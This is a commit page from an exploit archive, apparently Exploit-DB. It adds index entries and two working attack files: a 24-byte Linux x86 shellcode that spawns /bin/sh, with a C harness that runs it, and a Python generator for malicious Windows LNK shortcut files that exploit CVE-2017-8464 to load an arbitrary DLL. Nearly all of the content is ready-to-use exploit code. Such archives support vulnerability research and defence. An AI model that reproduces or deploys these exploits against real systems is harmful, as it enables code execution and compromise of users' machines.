DB: 2017-08-07
2 new exploits Microsoft Windows - LNK Shortcut File Code Execution Linux x86 - /bin/sh Shellcode (24 bytes)
This commit is contained in:
Offensive Security
parent
79b3065b37
commit
2aa9bb9ea2
3 changed files with 312 additions and 0 deletions
|
|
@ -9173,6 +9173,7 @@ id,file,description,date,author,platform,type,port
|
||||||
42424,platforms/linux/local/42424.py,"DNSTracer 1.9 - Buffer Overflow",2017-08-03,j0lama,linux,local,0
|
42424,platforms/linux/local/42424.py,"DNSTracer 1.9 - Buffer Overflow",2017-08-03,j0lama,linux,local,0
|
||||||
42425,platforms/windows/local/42425.txt,"VirtualBox 5.1.22 - Windows Process DLL Signature Bypass Privilege Escalation",2017-08-03,"Google Security Research",windows,local,0
|
42425,platforms/windows/local/42425.txt,"VirtualBox 5.1.22 - Windows Process DLL Signature Bypass Privilege Escalation",2017-08-03,"Google Security Research",windows,local,0
|
||||||
42426,platforms/windows/local/42426.txt,"VirtualBox 5.1.22 - Windows Process DLL UNC Path Signature Bypass Privilege Escalation",2017-08-03,"Google Security Research",windows,local,0
|
42426,platforms/windows/local/42426.txt,"VirtualBox 5.1.22 - Windows Process DLL UNC Path Signature Bypass Privilege Escalation",2017-08-03,"Google Security Research",windows,local,0
|
||||||
|
42429,platforms/windows/local/42429.py,"Microsoft Windows - LNK Shortcut File Code Execution",2017-08-06,nixawk,windows,local,0
|
||||||
1,platforms/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Exploit",2003-03-23,kralor,windows,remote,80
|
1,platforms/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Exploit",2003-03-23,kralor,windows,remote,80
|
||||||
2,platforms/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote Exploit (PoC)",2003-03-24,RoMaNSoFt,windows,remote,80
|
2,platforms/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote Exploit (PoC)",2003-03-24,RoMaNSoFt,windows,remote,80
|
||||||
5,platforms/windows/remote/5.c,"Microsoft Windows - RPC Locator Service Remote Exploit",2003-04-03,"Marcin Wolak",windows,remote,139
|
5,platforms/windows/remote/5.c,"Microsoft Windows - RPC Locator Service Remote Exploit",2003-04-03,"Marcin Wolak",windows,remote,139
|
||||||
|
|
@ -16372,6 +16373,7 @@ id,file,description,date,author,platform,type,port
|
||||||
42208,platforms/lin_x86/shellcode/42208.nasm,"Linux/x86 - Reverse UDP Shellcode (668 bytes)",2017-06-20,"DONTON Fetenat C",lin_x86,shellcode,0
|
42208,platforms/lin_x86/shellcode/42208.nasm,"Linux/x86 - Reverse UDP Shellcode (668 bytes)",2017-06-20,"DONTON Fetenat C",lin_x86,shellcode,0
|
||||||
42254,platforms/lin_x86/shellcode/42254.c,"Linux/x86 - Bind Shell Shellcode (75 bytes)",2017-06-26,wetw0rk,lin_x86,shellcode,0
|
42254,platforms/lin_x86/shellcode/42254.c,"Linux/x86 - Bind Shell Shellcode (75 bytes)",2017-06-26,wetw0rk,lin_x86,shellcode,0
|
||||||
42339,platforms/lin_x86-64/shellcode/42339.c,"Linux/x86_64 - Reverse Shell (192.168.1.8:4444) Shellcode (104 bytes)",2017-07-19,m4n3dw0lf,lin_x86-64,shellcode,0
|
42339,platforms/lin_x86-64/shellcode/42339.c,"Linux/x86_64 - Reverse Shell (192.168.1.8:4444) Shellcode (104 bytes)",2017-07-19,m4n3dw0lf,lin_x86-64,shellcode,0
|
||||||
|
42428,platforms/lin_x86/shellcode/42428.c,"Linux x86 - /bin/sh Shellcode (24 bytes)",2017-08-06,"Touhid M.Shaikh",lin_x86,shellcode,0
|
||||||
6,platforms/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,php,webapps,0
|
6,platforms/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,php,webapps,0
|
||||||
44,platforms/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",php,webapps,0
|
44,platforms/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",php,webapps,0
|
||||||
47,platforms/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,php,webapps,0
|
47,platforms/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,php,webapps,0
|
||||||
|
|
|
||||||
|
Can't render this file because it is too large.
|
65
platforms/lin_x86/shellcode/42428.c
Executable file
65
platforms/lin_x86/shellcode/42428.c
Executable file
|
|
@ -0,0 +1,65 @@
|
||||||
|
/*
|
||||||
|
;Title: Linux/x86 - /bin/sh Shellcode
|
||||||
|
;Author: Touhid M.Shaikh
|
||||||
|
;Contact: https://github.com/touhidshaikh
|
||||||
|
;Category: Shellcode
|
||||||
|
;Architecture: Linux x86
|
||||||
|
;Description: This shellcode baased on stack method to Execute "/bin//sh".
|
||||||
|
Length of shellcode is 24 bytes.
|
||||||
|
;Tested on : 3.2.0-23-generic-pae #36-Ubuntu SMP Tue Apr 10 22:19:09
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
===COMPILATION AND EXECUTION===
|
||||||
|
|
||||||
|
#nasm -f elf32 shell.asm -o shell.o <=== Making Object File
|
||||||
|
|
||||||
|
#ld -m elf_i386 shell.o -o shell <=== Making Binary File
|
||||||
|
|
||||||
|
#./bin2shell.sh shell <== xtract hex code from the binary(
|
||||||
|
https://github.com/touhidshaikh/bin2shell)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
=================SHELLCODE(INTEL FORMAT)=================
|
||||||
|
|
||||||
|
section .text
|
||||||
|
global _start
|
||||||
|
_start:
|
||||||
|
xor eax,eax
|
||||||
|
cdq
|
||||||
|
push eax
|
||||||
|
push 0x68732f2f
|
||||||
|
push 0x6e69622f
|
||||||
|
mov ebx,esp
|
||||||
|
push eax
|
||||||
|
push ebx
|
||||||
|
mov ecx, esp
|
||||||
|
mov al,0x0b
|
||||||
|
int 80h
|
||||||
|
|
||||||
|
===================END HERE============================
|
||||||
|
|
||||||
|
Compile with gcc with some options.
|
||||||
|
|
||||||
|
# gcc -fno-stack-protector -z execstack shell-testing.c -o shell-testing
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include<stdio.h>
|
||||||
|
#include<string.h>
|
||||||
|
|
||||||
|
|
||||||
|
unsigned char code[] = \
|
||||||
|
"\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
|
||||||
|
|
||||||
|
main()
|
||||||
|
{
|
||||||
|
|
||||||
|
printf("Shellcode Length: %d\n", (int)strlen(code));
|
||||||
|
|
||||||
|
int (*ret)() = (int(*)())code;
|
||||||
|
|
||||||
|
ret();
|
||||||
|
|
||||||
|
}
|
||||||
245
platforms/windows/local/42429.py
Executable file
245
platforms/windows/local/42429.py
Executable file
|
|
@ -0,0 +1,245 @@
|
||||||
|
#!/usr/bin/python
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
|
||||||
|
# Title : CVE-2017-8464 | LNK Remote Code Execution Vulnerability
|
||||||
|
# CVE : 2017-8464
|
||||||
|
# Authors : [ykoster, nixawk]
|
||||||
|
# Notice : Only for educational purposes.
|
||||||
|
# Support : python2
|
||||||
|
|
||||||
|
import struct
|
||||||
|
|
||||||
|
|
||||||
|
def generate_SHELL_LINK_HEADER():
|
||||||
|
# _________________________________________________________________
|
||||||
|
# | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
|
||||||
|
# |0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|
|
||||||
|
# -----------------------------------------------------------------
|
||||||
|
# | HeaderSize |
|
||||||
|
# -----------------------------------------------------------------
|
||||||
|
# | LinkCLSID (16 bytes) |
|
||||||
|
# -----------------------------------------------------------------
|
||||||
|
# | ... |
|
||||||
|
# -----------------------------------------------------------------
|
||||||
|
# | ... |
|
||||||
|
# -----------------------------------------------------------------
|
||||||
|
# | LinkFlags |
|
||||||
|
# -----------------------------------------------------------------
|
||||||
|
# | FileAttributes |
|
||||||
|
# -----------------------------------------------------------------
|
||||||
|
# | CreationTime |
|
||||||
|
# -----------------------------------------------------------------
|
||||||
|
# | ... |
|
||||||
|
# -----------------------------------------------------------------
|
||||||
|
# | AccessTime |
|
||||||
|
# -----------------------------------------------------------------
|
||||||
|
# | ... |
|
||||||
|
# -----------------------------------------------------------------
|
||||||
|
# | WriteTime |
|
||||||
|
# -----------------------------------------------------------------
|
||||||
|
# | ... |
|
||||||
|
# -----------------------------------------------------------------
|
||||||
|
# | FileSize |
|
||||||
|
# -----------------------------------------------------------------
|
||||||
|
# | IconIndex |
|
||||||
|
# -----------------------------------------------------------------
|
||||||
|
# | ShowCommand |
|
||||||
|
# -----------------------------------------------------------------
|
||||||
|
# | HotKey | Reserved1 |
|
||||||
|
# -----------------------------------------------------------------
|
||||||
|
# | Reserved2 |
|
||||||
|
# -----------------------------------------------------------------
|
||||||
|
# | Reserved3 |
|
||||||
|
# -----------------------------------------------------------------
|
||||||
|
|
||||||
|
shell_link_header = [
|
||||||
|
b'\x4c\x00\x00\x00', # "HeaderSize" : (4 bytes)
|
||||||
|
b'\x01\x14\x02\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46', # "LinkCLSID" : (16 bytes) HKEY_CLASSES_ROOT\CLSID\{00021401-0000-0000-C000-000000000046}
|
||||||
|
b'\x81\x00\x00\x00', # "LinkFlags" : (4 bytes) 0x81 = 0b10000001 = HasLinkTargetIDList + IsUnicode
|
||||||
|
b'\x00\x00\x00\x00', # "FileAttributes" : (4 bytes)
|
||||||
|
b'\x00\x00\x00\x00\x00\x00\x00\x00', # "CreationTime" : (8 bytes)
|
||||||
|
b'\x00\x00\x00\x00\x00\x00\x00\x00', # "AccessTime" : (8 bytes)
|
||||||
|
b'\x00\x00\x00\x00\x00\x00\x00\x00', # "WriteTime" : (8 bytes)
|
||||||
|
b'\x00\x00\x00\x00', # "FileSize" : (4 bytes)
|
||||||
|
b'\x00\x00\x00\x00', # "IconIndex" : (4 bytes)
|
||||||
|
b'\x00\x00\x00\x00', # "ShowCommand" : (4 bytes)
|
||||||
|
b'\x00\x00', # "HotKey" : (2 bytes)
|
||||||
|
b'\x00\x00', # "Reserved1" : (2 bytes)
|
||||||
|
b'\x00\x00\x00\x00', # "Reserved2" : (4 bytes)
|
||||||
|
b'\x00\x00\x00\x00', # "Reserved3" : (4 bytes)
|
||||||
|
]
|
||||||
|
|
||||||
|
return b"".join(shell_link_header)
|
||||||
|
|
||||||
|
|
||||||
|
def generate_LINKTARGET_IDLIST(path, name):
|
||||||
|
# _________________________________________________________________
|
||||||
|
# | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
|
||||||
|
# |0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|
|
||||||
|
# -----------------------------------------------------------------
|
||||||
|
# | IDListSize | IDList(variable) |
|
||||||
|
# -----------------------------------------------------------------
|
||||||
|
# | ... |
|
||||||
|
# -----------------------------------------------------------------
|
||||||
|
|
||||||
|
# IDList = ItemID + ItemID + ... + TerminalID
|
||||||
|
# ItemID = ItemIDSize + Data
|
||||||
|
|
||||||
|
def generate_ItemID(Data):
|
||||||
|
itemid = [
|
||||||
|
struct.pack('H', len(Data) + 2), # ItemIDSize + len(Data)
|
||||||
|
Data
|
||||||
|
]
|
||||||
|
# ItemIDSize = struct.pack('H', len(Data) + 2) # ItemIDSize + len(Data)
|
||||||
|
|
||||||
|
# return ItemIDSize + Data
|
||||||
|
|
||||||
|
return b"".join(itemid)
|
||||||
|
|
||||||
|
def generate_cpl_applet(path, name=name):
|
||||||
|
name += b'\x00'
|
||||||
|
path += b'\x00'
|
||||||
|
|
||||||
|
bindata = [
|
||||||
|
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6a\x00\x00\x00\x00\x00\x00',
|
||||||
|
struct.pack('H', len(path)),
|
||||||
|
struct.pack('H', len(name)),
|
||||||
|
path.encode('utf-16')[2:],
|
||||||
|
name.encode('utf-16')[2:],
|
||||||
|
b"\x00\x00" # comment
|
||||||
|
]
|
||||||
|
|
||||||
|
return b"".join(bindata)
|
||||||
|
|
||||||
|
idlist = [
|
||||||
|
# ItemIDList
|
||||||
|
|
||||||
|
generate_ItemID(b'\x1f\x50\xe0\x4f\xd0\x20\xea\x3a\x69\x10\xa2\xd8\x08\x00\x2b\x30\x30\x9d'),
|
||||||
|
generate_ItemID(b'\x2e\x80\x20\x20\xec\x21\xea\x3a\x69\x10\xa2\xdd\x08\x00\x2b\x30\x30\x9d'),
|
||||||
|
generate_ItemID(generate_cpl_applet(path)),
|
||||||
|
|
||||||
|
b'\x00\x00', # TerminalID
|
||||||
|
]
|
||||||
|
|
||||||
|
idlist = b"".join(idlist)
|
||||||
|
idlistsize = struct.pack('H', len(idlist))
|
||||||
|
|
||||||
|
linktarget_idlist = [
|
||||||
|
idlistsize,
|
||||||
|
idlist,
|
||||||
|
]
|
||||||
|
|
||||||
|
return b"".join(linktarget_idlist)
|
||||||
|
|
||||||
|
|
||||||
|
def generate_EXTRA_DATA():
|
||||||
|
# ExtraData refers to a set of structures that convey additional information about a link target. These
|
||||||
|
# optional structures can be present in an extra data section that is appended to the basic Shell Link
|
||||||
|
# Binary File Format.
|
||||||
|
|
||||||
|
# EXTRA_DATA = *EXTRA_DATA_BLOCK TERMINAL_BLOCK
|
||||||
|
|
||||||
|
# EXTRA_DATA_BLOCK = CONSOLE_PROPS / CONSOLE_FE_PROPS / DARWIN_PROPS /
|
||||||
|
# ENVIRONMENT_PROPS / ICON_ENVIRONMENT_PROPS /
|
||||||
|
# KNOWN_FOLDER_PROPS / PROPERTY_STORE_PROPS /
|
||||||
|
# SHIM_PROPS / SPECIAL_FOLDER_PROPS /
|
||||||
|
# TRACKER_PROPS / VISTA_AND_ABOVE_IDLIST_PROPS
|
||||||
|
|
||||||
|
# SpecialFolderDataBlock
|
||||||
|
|
||||||
|
# _________________________________________________________________
|
||||||
|
# | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
|
||||||
|
# |0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|
|
||||||
|
# -----------------------------------------------------------------
|
||||||
|
# | BlockSize |
|
||||||
|
# -----------------------------------------------------------------
|
||||||
|
# | BlockSignatire |
|
||||||
|
# -----------------------------------------------------------------
|
||||||
|
# | SpecialFolderID |
|
||||||
|
# -----------------------------------------------------------------
|
||||||
|
# | Offset |
|
||||||
|
# -----------------------------------------------------------------
|
||||||
|
|
||||||
|
extra_data = [
|
||||||
|
b'\x10\x00\x00\x00',
|
||||||
|
b'\x05\x00\x00\xA0',
|
||||||
|
b'\x03\x00\x00\x00',
|
||||||
|
b'\x28\x00\x00\x00',
|
||||||
|
b'\x00\x00\x00\x00' # TERMINAL_BLOCK
|
||||||
|
]
|
||||||
|
|
||||||
|
return b"".join(extra_data)
|
||||||
|
|
||||||
|
|
||||||
|
def ms_shllink(path, name=b"Microsoft"):
|
||||||
|
'''build Shell Link (.LNK) Binary File Format'''
|
||||||
|
|
||||||
|
lnk_format = [
|
||||||
|
|
||||||
|
# Structures
|
||||||
|
|
||||||
|
# SHELL_LINK = SHELL_LINK_HEADER [LINKTARGET_IDLIST] [LINKINFO]
|
||||||
|
# [STRING_DATA] *EXTRA_DATA
|
||||||
|
|
||||||
|
|
||||||
|
# SHELL_LINK_HEADER:
|
||||||
|
# A ShelllinkHeader structure which contains identification information, timestamps, and
|
||||||
|
# flags that specify the presence of optional structures.
|
||||||
|
|
||||||
|
generate_SHELL_LINK_HEADER(),
|
||||||
|
|
||||||
|
# LINKTARGET_IDLIST:
|
||||||
|
# An optional LinkTargetIDList structure, which specifies the target of the link. The
|
||||||
|
# presence of this structure is specified by the HasLinkTargetIDList bit in the ShellLinkHeader.
|
||||||
|
#
|
||||||
|
#
|
||||||
|
|
||||||
|
generate_LINKTARGET_IDLIST(path, name),
|
||||||
|
|
||||||
|
# LINKINFO:
|
||||||
|
# An optional LinkInfo structure, which specifies information necessary to resolve the link target.
|
||||||
|
# The presence of this structure is specified by the HasLinkInfo bit in the ShellLinkHeader.
|
||||||
|
|
||||||
|
# STRING_DATA:
|
||||||
|
# Zero or more optional StringData structures, which are used to convey user interface and path
|
||||||
|
# identification information. The presence of these structures is specified by bits in the ShellLinkHeader.
|
||||||
|
|
||||||
|
# STRING_DATA = [NAME_STRING] [RELATIVE_PATH] [WORKING_DIR]
|
||||||
|
# [COMMAND_LINE_ARGUMENTS] [ICON_LOCATION]
|
||||||
|
|
||||||
|
# EXTRA_DATA:
|
||||||
|
# Zero or more ExtraData structures
|
||||||
|
|
||||||
|
generate_EXTRA_DATA()
|
||||||
|
]
|
||||||
|
|
||||||
|
return b"".join(lnk_format)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
import sys
|
||||||
|
|
||||||
|
if len(sys.argv) != 3:
|
||||||
|
print("[*] Name : CVE-2017-8464 | LNK Remote Code Execution Vulnerability")
|
||||||
|
print("[*] Usage: %s </path/to/test.lnk> </path/to/test.dll>" % sys.argv[0])
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
lnkpath = sys.argv[1]
|
||||||
|
dllpath = sys.argv[2]
|
||||||
|
|
||||||
|
bindata = ms_shllink(path=dllpath)
|
||||||
|
|
||||||
|
with open(lnkpath, 'wb') as lnkf:
|
||||||
|
lnkf.write(bindata)
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
# 1. https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464
|
||||||
|
# 2. https://msdn.microsoft.com/en-us/library/dd871305.aspx
|
||||||
|
# 3. https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-SHLLINK/[MS-SHLLINK]-160714.pdf
|
||||||
|
# 4. https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf
|
||||||
|
# 5. https://support.microsoft.com/en-us/help/149648/description-of-control-panel--cpl-files
|
||||||
|
# 6. https://twitter.com/mkolsek/status/877499744704237568
|
||||||
|
# 7. https://community.saas.hpe.com/t5/Security-Research/Full-details-on-CVE-2015-0096-and-the-failed-MS10-046-Stuxnet/ba-p/251257#.WXi4uNPys6g
|
||||||
|
# 8. https://github.com/rapid7/metasploit-framework/pull/8767
|
||||||
Loading…
Add table
Reference in a new issue